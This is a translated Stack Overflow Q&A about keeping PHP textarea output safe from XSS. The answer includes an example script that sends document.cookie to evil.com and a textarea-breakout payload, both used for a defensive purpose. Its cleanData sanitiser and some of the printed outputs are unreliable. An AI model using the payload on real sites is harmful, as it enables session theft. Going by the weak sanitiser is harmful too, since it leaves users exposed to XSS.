如果要在文本区域等输入中使用数据库(在 php 中)的值,最好的清理方法是什么?
例如,当插入数据时,我可以去除标签和引号并将它们替换为 html 字符代码,然后在插入之前使用 mysql_real_escape_string。
当检索回该数据时,我需要它显示在文本区域中。我怎样才能做到这一点并仍然避免 XSS? (例如,您可以轻松输入
</textarea><script type='text/javascript'> Malicious Code</script><textarea>
) 并引起问题。
谢谢!
最佳答案
如果您想使用纯粹简单的 php 解决方案,我想我更喜欢 filter_var
和 url_decode
的组合
想象一下这样的归因
$maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";
如果我使用strip_tags
var_dump(strip_tags($maliciousCode));
输出
string 'document.write("' (length=16)
如果我使用htmlspecialchars
var_dump(htmlspecialchars($maliciousCode));
输出
string '<script>document.write("<img src='http://evil.com/?cookies='"+document.cookie+"' style='display:none;' />");</script> I love PHP' (length=166)
function cleanData($str) {
$str = urldecode ($str );
$str = filter_var($str, FILTER_SANITIZE_STRING);
$str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
return $str ;
}
$input = cleanData ( $maliciousCode );
var_dump($input);
输出
string 'document.write(&#34;&#34;); I love PHP' (length=46)
如果表单使用 GET
而不是 POST
如果它是 url 编码的,一些可以直到转义,您可以获得最少的信息并确保最终文本是无害的
网上的类也够多,帮你做过滤看看
http://www.phpclasses.org/package/2189-PHP-Filter-out-unwanted-PHP-Javascript-HTML-tags-.html
http://htmlpurifier.org/
https://stackoverflow.com/questions/10270398/